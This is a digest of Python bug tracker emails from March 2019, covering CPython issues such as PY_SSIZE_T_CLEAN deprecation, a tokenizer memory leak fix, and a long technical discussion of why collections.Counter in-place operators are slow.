<https://bugs.python.org/issue36377>
_______________________________________

From report at bugs.python.org  Wed Mar 20 06:44:43 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 20 Mar 2019 10:44:43 +0000
Subject: [issue33406] [ctypes] increase the refcount of a callback function
In-Reply-To: <1525243145.23.0.682650639539.issue33406@psf.upfronthosting.co.za>
Message-ID: <1553078683.89.0.117347816109.issue33406@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
nosy: +pablogsal

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33406>
_______________________________________

From report at bugs.python.org  Wed Mar 20 06:46:22 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Wed, 20 Mar 2019 10:46:22 +0000
Subject: [issue36355] Remove documentation and internal use of the *RESTRICTED
 constants for PyMemberDef's flags field
In-Reply-To: <1552936699.26.0.01319442845.issue36355@roundup.psfhosted.org>
Message-ID: <1553078782.93.0.786478415662.issue36355@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Josh, I don't know for the uselessness or not of these macros, but these macros are used.

RESTRICTED is used in Objects/classobject.c and Objects/funcobject.c

PY_WRITE_RESTRICTED is used in Objects/funcobject.c and Objects/methodobject.c

----------
nosy: +matrixise

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36355>
_______________________________________

From report at bugs.python.org  Wed Mar 20 07:07:01 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 11:07:01 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553080021.94.0.459550462106.issue8677@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

PC/winreg.c:

    if (value_length >= INT_MAX) {
        PyErr_SetString(PyExc_OverflowError,
                        "the value is too long");
        return NULL;
    }

PY_DWORD_MAX should be used here. It's twice larger than INT_MAX ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Wed Mar 20 07:11:55 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 20 Mar 2019 11:11:55 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553080315.06.0.832525519401.issue8677@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
pull_requests: +12421

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Wed Mar 20 07:22:14 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 11:22:14 +0000
Subject: [issue36367] tokenizer.c memory leak in case of realloc failure
In-Reply-To: <1553011961.19.0.135862122832.issue36367@roundup.psfhosted.org>
Message-ID: <1553080934.29.0.984777577141.issue36367@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12422

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36367>
_______________________________________

From report at bugs.python.org  Wed Mar 20 07:25:00 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 11:25:00 +0000
Subject: [issue36367] tokenizer.c memory leak in case of realloc failure
In-Reply-To: <1553011961.19.0.135862122832.issue36367@roundup.psfhosted.org>
Message-ID: <1553081100.91.0.533968725675.issue36367@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12423

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36367>
_______________________________________

From report at bugs.python.org  Wed Mar 20 07:53:17 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 20 Mar 2019 11:53:17 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553082797.51.0.654104750848.issue8677@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset cc60cdd9c44dd15e441603ee5f78e09ea3e76929 by Inada Naoki in branch 'master':
bpo-8677: use PY_DWORD_MAX instead of INT_MAX (GH-12469)
https://github.com/python/cpython/commit/cc60cdd9c44dd15e441603ee5f78e09ea3e76929


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:01:33 2019
From: report at bugs.python.org (Zuzu_Typ)
Date: Wed, 20 Mar 2019 12:01:33 +0000
Subject: [issue36379] nb_inplace_pow is always called with an invalid argument
Message-ID: <1553083293.5.0.811205671176.issue36379@roundup.psfhosted.org>


New submission from Zuzu_Typ <zuzu.typ at gmail.com>:

Using the C-API, the inplace_pow numbermethod is always called with the third argument pointing to an invalid address.

The reason is likely that self.__ipow__ only takes one argument, resulting in a binaryfunc (self, arg), though inplace_pow is a ternaryfunc.
When trying to use the third argument in any way, Python crashes.

The third arg should be nonexistent, NULL or Py_None.

----------
components: Build, Extension Modules
messages: 338458
nosy: Zuzu_Typ
priority: normal
severity: normal
status: open
title: nb_inplace_pow is always called with an invalid argument
type: crash
versions: Python 2.7, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36379>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:03:18 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 12:03:18 +0000
Subject: [issue36367] tokenizer.c memory leak in case of realloc failure
In-Reply-To: <1553011961.19.0.135862122832.issue36367@roundup.psfhosted.org>
Message-ID: <1553083398.35.0.109415281917.issue36367@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 65b9849f0f07a000d751c96d9d711aeb24c95224 by Victor Stinner in branch '3.7':
bpo-36367: Free buffer if realloc fails in tokenize.c (GH-12442) (GH-12471)
https://github.com/python/cpython/commit/65b9849f0f07a000d751c96d9d711aeb24c95224


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36367>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:03:43 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 12:03:43 +0000
Subject: [issue36367] tokenizer.c memory leak in case of realloc failure
In-Reply-To: <1553011961.19.0.135862122832.issue36367@roundup.psfhosted.org>
Message-ID: <1553083423.62.0.899915554366.issue36367@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 469b0a50d990bcb441910b23194c131e403c2833 by Victor Stinner in branch '2.7':
bpo-36367: Free buffer if realloc fails in tokenize.c (GH-12442) (GH-12470)
https://github.com/python/cpython/commit/469b0a50d990bcb441910b23194c131e403c2833


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36367>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:03:56 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 12:03:56 +0000
Subject: [issue36367] tokenizer.c memory leak in case of realloc failure
In-Reply-To: <1553011961.19.0.135862122832.issue36367@roundup.psfhosted.org>
Message-ID: <1553083436.81.0.549061566608.issue36367@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
versions: +Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36367>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:13:26 2019
From: report at bugs.python.org (=?utf-8?b?0J3QuNC60LjRgtCwINCh0LzQtdGC0LDQvdC40L0=?=)
Date: Wed, 20 Mar 2019 12:13:26 +0000
Subject: [issue36380] collections.Counter in-place operators are unexpectedly
 slow
Message-ID: <1553084006.71.0.725416830974.issue36380@roundup.psfhosted.org>


New submission from ?????? ???????? <nikitozzz.pl at gmail.com>:

All of collections.Counter in-place operators: +=, -=, |= and &= are obviously expected to have time complexity O(b) as in the following example:

a = Counter(...)  # e.g 1M elements
b = Counter(...)  # e.g. 10 elements
a += b

But in fact, all of them are having O(a + b) time complexity due to inefficient implementation of _keep_positive method, which checks ALL of the elements of "a" counter after modification while it's required only to check CHANGED elements (no more than a size of "b") having time complexity O(b).

See https://github.com/python/cpython/blob/master/Lib/collections/__init__.py#L819 

It also unclear if there's even a need to check for non-positives with _keep_positive in ops like __iadd__, __iand__ and __ior__ (except __isub__) as it expects Counters which are always positive.

This unobvious inefficiency leads to unnecessary large execution times while, for example, iteratively accumulating some small Counters into a large one (frequent case). In this case .update method works much faster, but it doesn't check for zeros or negatives for some reason (is this a bug too?).

----------
components: Library (Lib)
messages: 338461
nosy: ?????? ????????
priority: normal
severity: normal
status: open
title: collections.Counter in-place operators are unexpectedly slow
type: performance
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36380>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:17:57 2019
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 20 Mar 2019 12:17:57 +0000
Subject: [issue29301] decimal: Use FASTCALL and/or Argument Clinic
In-Reply-To: <1484671124.21.0.493200110844.issue29301@psf.upfronthosting.co.za>
Message-ID: <1553084277.26.0.466996863587.issue29301@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:

Thanks, but it is still not going to happen. Look at the increased code size
in e.g. blake2s_impl.c.h.


I want to know what is going on in the code.  Also, the performance
improvements are in argument parsing, but not when you have numerical
code like a * b, where a and b are already decimals.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29301>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:18:12 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 20 Mar 2019 12:18:12 +0000
Subject: [issue36366] Patcher stop method should be idempotent
In-Reply-To: <1553011061.53.0.157389839215.issue36366@roundup.psfhosted.org>
Message-ID: <1553084292.71.0.85896532257.issue36366@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
keywords: +patch
pull_requests: +12424
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36366>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:19:05 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 20 Mar 2019 12:19:05 +0000
Subject: [issue36380] collections.Counter in-place operators are unexpectedly
 slow
In-Reply-To: <1553084006.71.0.725416830974.issue36380@roundup.psfhosted.org>
Message-ID: <1553084345.33.0.762859163948.issue36380@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36380>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:24:35 2019
From: report at bugs.python.org (SilentGhost)
Date: Wed, 20 Mar 2019 12:24:35 +0000
Subject: [issue36380] collections.Counter in-place operators are unexpectedly
 slow
In-Reply-To: <1553084006.71.0.725416830974.issue36380@roundup.psfhosted.org>
Message-ID: <1553084675.25.0.505372257576.issue36380@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
versions:  -Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36380>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:39:30 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 20 Mar 2019 12:39:30 +0000
Subject: [issue36380] collections.Counter in-place operators are unexpectedly
 slow
In-Reply-To: <1553084006.71.0.725416830974.issue36380@roundup.psfhosted.org>
Message-ID: <1553085570.26.0.596800882167.issue36380@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

> It also unclear if there's even a need to check for non-positives with _keep_positive in ops like __iadd__, __iand__ and __ior__ (except __isub__) as it expects Counters which are always positive.

Counter accepts dictionaries and keyword arguments where keys can have negative or zero as values where _keep_positive needs to be checked for add operation too.

>>> Counter(a=3) + Counter(a=-1)
Counter({'a': 2})

Counter can have keys where the value is already 0 during construction that are not deleted and thus during __iadd__ all the keys have to be checked for zero. Below is the behavior in Python 3.7 and checking only for changed "b" key for non-zero in the example would leave "a" key also in the result with the optimization proposed?

$ python3.7
Python 3.7.1rc2 (v3.7.1rc2:6c06ef7dc3, Oct 13 2018, 05:10:29)
[Clang 6.0 (clang-600.0.57)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from collections import Counter
>>> a = Counter(a=0, b=1)
>>> a
Counter({'b': 1, 'a': 0}) # Not removed during construction
>>> b = Counter(b=1)
>>> a += b
>>> a
Counter({'b': 2})

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36380>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:54:06 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 20 Mar 2019 12:54:06 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553086446.4.0.983355532936.issue8677@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
pull_requests: +12425

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:54:17 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Wed, 20 Mar 2019 12:54:17 +0000
Subject: [issue36342] test_venv failure when the platform lacks a functional
 sem_open()
In-Reply-To: <1552903359.9.0.770761638832.issue36342@roundup.psfhosted.org>
Message-ID: <1553086457.58.0.911658703371.issue36342@roundup.psfhosted.org>


Xavier de Gaye <xdegaye at gmail.com> added the comment:

It is a test_venv issue related to bpo-32126 and also related to the other issues listed in bpo-32126.

Changing the title as it is ambiguous indeed.

check_output() in test_venv.py does not print the full stack trace as it is done by test_asyncio in bpo-32126, is this another issue ?

----------
title: test_venv fails on Android with clang -> test_venv failure when the platform lacks a functional  sem_open()

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36342>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:58:40 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Wed, 20 Mar 2019 12:58:40 +0000
Subject: [issue36380] collections.Counter in-place operators are unexpectedly
 slow
In-Reply-To: <1553084006.71.0.725416830974.issue36380@roundup.psfhosted.org>
Message-ID: <1553086720.62.0.430252851809.issue36380@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

@xtreak __init__ delegates work to update() which has the same behavior:

Python 3.7.2 (default, Feb 12 2019, 08:15:36)
[Clang 10.0.0 (clang-1000.11.45.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from collections import Counter
>>> d = Counter()
>>> d.update(a=0)
>>> d
Counter({'a': 0})


If we want to keep this behavior could we keep an internal list of keys whose value is 0 that we append to at https://github.com/python/cpython/blob/master/Lib/collections/__init__.py#L652 so we doing operations we just check values of keys which are updated and the content of this list?

----------
nosy: +remi.lapeyre

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36380>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:58:55 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 20 Mar 2019 12:58:55 +0000
Subject: [issue36381] Preapre for mandatory PY_SSIZE_T_CLEAN
Message-ID: <1553086735.98.0.572102107616.issue36381@roundup.psfhosted.org>


New submission from Inada Naoki <songofacandy at gmail.com>:

Raise warning for # use without PY_SSIZE_T_CLEAN.

* 3.8: PendingDeprecationWarning
* 3.9: DeprecationWarning
* 3.10 (or 4.0): Remove PY_SSIZE_T_CLEAN and use Py_ssize_t always

----------
components: Extension Modules
messages: 338466
nosy: inada.naoki, serhiy.storchaka, vstinner
priority: normal
severity: normal
status: open
title: Preapre for mandatory PY_SSIZE_T_CLEAN
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36381>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:59:38 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 20 Mar 2019 12:59:38 +0000
Subject: [issue8677] Modules needing PY_SSIZE_T_CLEAN
In-Reply-To: <1273521580.77.0.503810144474.issue8677@psf.upfronthosting.co.za>
Message-ID: <1553086778.31.0.621979350619.issue8677@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

> Would it be possible to emit a deprecation warning, maybe at runtime, when PY_SSIZE_T_CLEAN is not defined?

I created bpo-36381 for it.  Let's close this long living issue.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8677>
_______________________________________

From report at bugs.python.org  Wed Mar 20 09:00:19 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 20 Mar 2019 13:00:19 +0000
Subject: [issue36381] Preapre for mandatory PY_SSIZE_T_CLEAN
In-Reply-To: <1553086735.98.0.572102107616.issue36381@roundup.psfhosted.org>
Message-ID: <1553086819.88.0.170584491808.issue36381@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
keywords: +patch
pull_requests: +12426
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36381>
_______________________________________

From report at bugs.python.org  Wed Mar 20 09:04:18 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 20 Mar 2019 13:04:18 +0000
Subject: [issue36323] IDLE: always display full grep path
In-Reply-To: <1552790935.7.0.135900073162.issue36323@roundup.psfhosted.org>
Message-ID: <1553087058.03.0.279896227279.issue36323@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

See also #21960.  I'm going to close that one in favor of this issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36323>
_______________________________________

From report at bugs.python.org  Wed Mar 20 09:04:55 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 20 Mar 2019 13:04:55 +0000
Subject: [issue21960] Better path handling in Idle find in files
In-Reply-To: <1405105832.92.0.37541050814.issue21960@psf.upfronthosting.co.za>
Message-ID: <1553087095.66.0.411796398534.issue21960@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
resolution:  -> duplicate
stage: test needed -> resolved
status: open -> closed
superseder:  -> IDLE: always display full grep path

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21960>
_______________________________________

From report at bugs.python.org  Wed Mar 20 09:17:58 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Wed, 20 Mar 2019 13:17:58 +0000
Subject: [issue36370] "Fatal Python error: Cannot recover from stack overflow"
 from SymPy tests
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553087878.95.0.906112005465.issue36370@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

FWIW I just tried both f8e46e9e741f253803e9b8be03287e5dd16abd4d and f8e46e9e741f253803e9b8be03287e5dd16abd4d with the reproducer given and none of them segfault.

I don't think there is a bug in the Python interpreter, there is some ways to trigger this error when a RecursionError is not handled quickly enough. I suppose you just have a problem in Sympy. I also find suspicious that you reproducer change many lines in Sympy and would look at that first.

----------
nosy: +remi.lapeyre

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Wed Mar 20 09:28:02 2019
From: report at bugs.python.org (Nikita Smetanin)
Date: Wed, 20 Mar 2019 13:28:02 +0000
Subject: [issue36380] collections.Counter in-place operators are unexpectedly
 slow
In-Reply-To: <1553084006.71.0.725416830974.issue36380@roundup.psfhosted.org>
Message-ID: <1553088482.81.0.356276738978.issue36380@roundup.psfhosted.org>


Nikita Smetanin <nikitozzz.pl at gmail.com> added the comment:

@xtreak I agree, also, this behavior is stated in documentation, but it's quite inconsistent in many ways, like in the following examples:
Counter(a=-1) + Counter(a=-2) produces empty Counter() instead of Counter(a=-2) which is unexpected, but 
Counter(a=-1) + Counter(a=2) produces correct result Counter(a=1). The same is with in-place operators.

That makes no sense.

It's clear that in-place addition, for example, isn't a good place to remove negative elements which wasn't involved in this operation at all. The only possible optimization here (if we don't want to change the behavior) is to keep track of positive / non-positive elements in a separate set.

The better solution could be in providing two classes ? Counter for any (signed) values with consistent operations and MultisetCounter (e.g.) or specific methods (like .multiset_add) for positive-only values and positive-checks.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36380>
_______________________________________

From report at bugs.python.org  Wed Mar 20 09:36:48 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 20 Mar 2019 13:36:48 +0000
Subject: [issue36380] collections.Counter in-place operators are unexpectedly
 slow
In-Reply-To: <1553084006.71.0.725416830974.issue36380@roundup.psfhosted.org>
Message-ID: <1553089008.8.0.50628397611.issue36380@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I would defer to Raymond at this point and would prefer keeping current __iadd__ behavior and . See also issue23509 that discussed about C  implementation of _keep_positive and some other optimizations.

> Counter(a=-1) + Counter(a=-2) produces empty Counter() instead of Counter(a=-2) which is unexpected, but 

I think you meant Counter(a=-3) here

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36380>
_______________________________________

From report at bugs.python.org  Wed Mar 20 09:40:50 2019
From: report at bugs.python.org (Markus)
Date: Wed, 20 Mar 2019 13:40:50 +0000
Subject: [issue36382] socket.getfqdn() returns domain "mshome.net"
Message-ID: <1553089250.0.0.713601521927.issue36382@roundup.psfhosted.org>


New submission from Markus <markus.kramer at posteo.de>:

In a corporate network, `wmic computersystem get domain` returns the correct domain.

On some clients, the Python query "socket.getfqdn()" returns the wrong domain, namely "mshome.net"

>>> import socket
>>> socket.getfqdn()
'*****.mshome.net'

I have only found only very old nominations of that domain.

Problems persists after reboot.

Tried versions 
Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)] on win32
Python 3.7.2 (tags/v3.7.2:9a3ffc0492, Dec 23 2018, 22:20:52) [MSC v.1916 32 bit (Intel)] on win32

Currently, I suspect this is a DHCP configuration problem.

----------
components: Windows
messages: 338472
nosy: markuskramerIgitt, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: socket.getfqdn() returns domain "mshome.net"
type: behavior
versions: Python 2.7, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36382>
_______________________________________

From report at bugs.python.org  Wed Mar 20 10:18:23 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Wed, 20 Mar 2019 14:18:23 +0000
Subject: [issue20309] Not all method descriptors are callable
In-Reply-To: <1390200218.06.0.45732778516.issue20309@psf.upfronthosting.co.za>
Message-ID: <1553091503.59.0.189130081343.issue20309@roundup.psfhosted.org>


Jeroen Demeyer <J.Demeyer at UGent.be> added the comment:

See also PEP 579 (issue 11) and the thread https://mail.python.org/pipermail/python-ideas/2018-June/051572.html

----------
nosy: +jdemeyer

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20309>
_______________________________________

From report at bugs.python.org  Wed Mar 20 10:21:51 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Mar 2019 14:21:51 +0000
Subject: [issue36381] Preapre for mandatory PY_SSIZE_T_CLEAN
In-Reply-To: <1553086735.98.0.572102107616.issue36381@roundup.psfhosted.org>
Message-ID: <1553091711.27.0.739761228727.issue36381@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> * 3.8: PendingDeprecationWarning

... Or maybe use directly DeprecationWarning? :-)
https://discuss.python.org/t/pendingdeprecationwarning-is-really-useful/1038

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36381>
_______________________________________

From report at bugs.python.org  Wed Mar 20 10:32:26 2019
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 20 Mar 2019 14:32:26 +0000
Subject: [issue36370] "Fatal Python error: Cannot recover from stack overflow"
 from SymPy tests
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553092346.06.0.852626265021.issue36370@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:

This occurs when handling a recursion error uses more than 50 extra nested function calls:

if (tstate->overflowed) {
        if (tstate->recursion_depth > recursion_limit + 50) {
            /* Overflowing while handling an overflow. Give up. */
            Py_FatalError("Cannot recover from stack overflow.");
        }
        return 0;
    }



You can set the recursion limit with sys.setrecursionlimit(), but it is the extra stack depth that matters here.

----------
nosy: +skrah

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Wed Mar 20 10:38:42 2019
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 20 Mar 2019 14:38:42 +0000
Subject: [issue36370] "Fatal Python error: Cannot recover from stack overflow"
 from SymPy tests
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553092722.36.0.628793961774.issue36370@roundup.psfhosted.org>


Stefan Krah <stefan at bytereef.org> added the comment:

It can still be an issue in CPython, like in #14537.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Wed Mar 20 10:44:42 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Wed, 20 Mar 2019 14:44:42 +0000
Subject: [issue36380] collections.Counter in-place operators are unexpectedly
 slow
In-Reply-To: <1553084006.71.0.725416830974.issue36380@roundup.psfhosted.org>
Message-ID: <1553093082.12.0.286405904477.issue36380@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

@Nikita: Your examples aren't unexpected at all, per the documented behavior:

>Several mathematical operations are provided for combining Counter objects to produce multisets (counters that have counts greater than zero). Addition and subtraction combine counters by adding or subtracting the counts of corresponding elements. Intersection and union return the minimum and maximum of corresponding counts. Each operation can accept inputs with signed counts, but the output will exclude results with counts of zero or less.

That's pretty explicit; "Each operation can accept inputs with signed counts" means the inputs can have arbitrary counts (negative, zero or positive), but "the output will exclude results with counts of zero or less" means the output will *only* contain positive counts.

This is repeated again in the design "Note" at the bottom:

* The multiset methods are designed only for use cases with positive values. The inputs may be negative or zero, but only outputs with positive values are created.

while also noting (reiterating in the case of subtract, whose method docs already specify this) that the update and subtract methods are appropriate for use when both inputs and outputs must preserve negative or zero values.

So both of your examples are "expected" per the documentation. 
"Counter(a=-1) + Counter(a=-2) produces empty Counter()" is 100% required by the documentation.

And, again per the documentation, _keep_positive is necessary, even for the in-place ops, because there is no expectation that the inputs are positive.

So your original motivating case could be spelled:

a = Counter(...)  # e.g 1M elements
b = Counter(...)  # e.g. 10 elements
# or just b = {...} or b = some_iterable_of_values_to_count since update works just
# fine with plain dicts and iterables to count, and making a second Counter is
# unnecessary overhead

a.update(b)

and it would work (and since _keep_positive isn't involved, it would run faster). Yes, if you want to eliminate non-positive counts you'll eventually need to do:

a += Counter()

(or abusing implementation details, a._keep_positive()), but that's largely unavoidable; the only way to adhere to the documented guarantees without a per mathematical operation _keep_positive would be to slow down many operations (and dramatically increase memory requirements) by separately tracking the non-positive values as they're created, just in case a math operation would need to remove them.

And when I say "slow down", I don't mean by a little. Right now, Counter doesn't overload __setitem__ (it just inherits dict's implementation). So when you do:

c = Counter()
c['a'] += 1
c['a'] += 1

that calls dict.__getitem__ twice (the first of which ends up calling Counter.__missing__ because the key 'a' doesn't exist), and dict.__setitem__ twice (to store back 1, then 2).

To make Counter track non-positive values live, you'd need to reimplement __setitem__ as:

def __setitem__(self, elem, count):
    if count <= 0:
        self._nonpositive.add(elem)
    else:
        self._nonpositive.discard(elem)
    return super().__setitem__(elem, count)

which would significant overhead, because:

1. Any movement from the C layer back to the Python layer is a massive performance hit in general
2. It wouldn't just slow __setitem__, it would also slow down the _count_elements accelerator for counting iterables (the thing that finally made Counter faster than defaultdict(int) for its intended use); the accelerator only uses the fast path when the mapping in question is a dict subclass and inherited dict's get and __setitem__ methods unmodified. If either one is overridden, it falls back to the slow path, which misses out on several major improvements available only with the concrete dict API.

On top of the performance hit, it wouldn't be remotely thread-safe: Counter (and most Python level types) aren't fully thread-safe to start with, but they generally break in predictable ways (e.g. doing c[key] += 1 in two threads simultaneously might only increment once, not twice, but at least the logical outcome of at least *one* of the operations occurred, not something wholly unrelated).

The race condition here would break code a long time after the actual race occurred; two threads could try to set the same value, one positive, one negative, and interleaved improperly, the negative value could be stored in the dict, but discarded from _nonpositive (or vice versa, but that's less problematic for correctness). Now when something should be eliminating non-positive values, it doesn't know that the negative value is even there, so it survives indefinitely (unless something else sets the count for it again anyway).

For the record, if you want to make a Counter without this behavior, it's actually pretty easy:

class SignedCounter(Counter):
    def _keep_positive(self):
        pass

but the interlocking documented requirements on mathematical ops and the methods mean you definitely can't change Counter itself.

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36380>
_______________________________________

From report at bugs.python.org  Wed Mar 20 11:04:39 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 20 Mar 2019 15:04:39 +0000
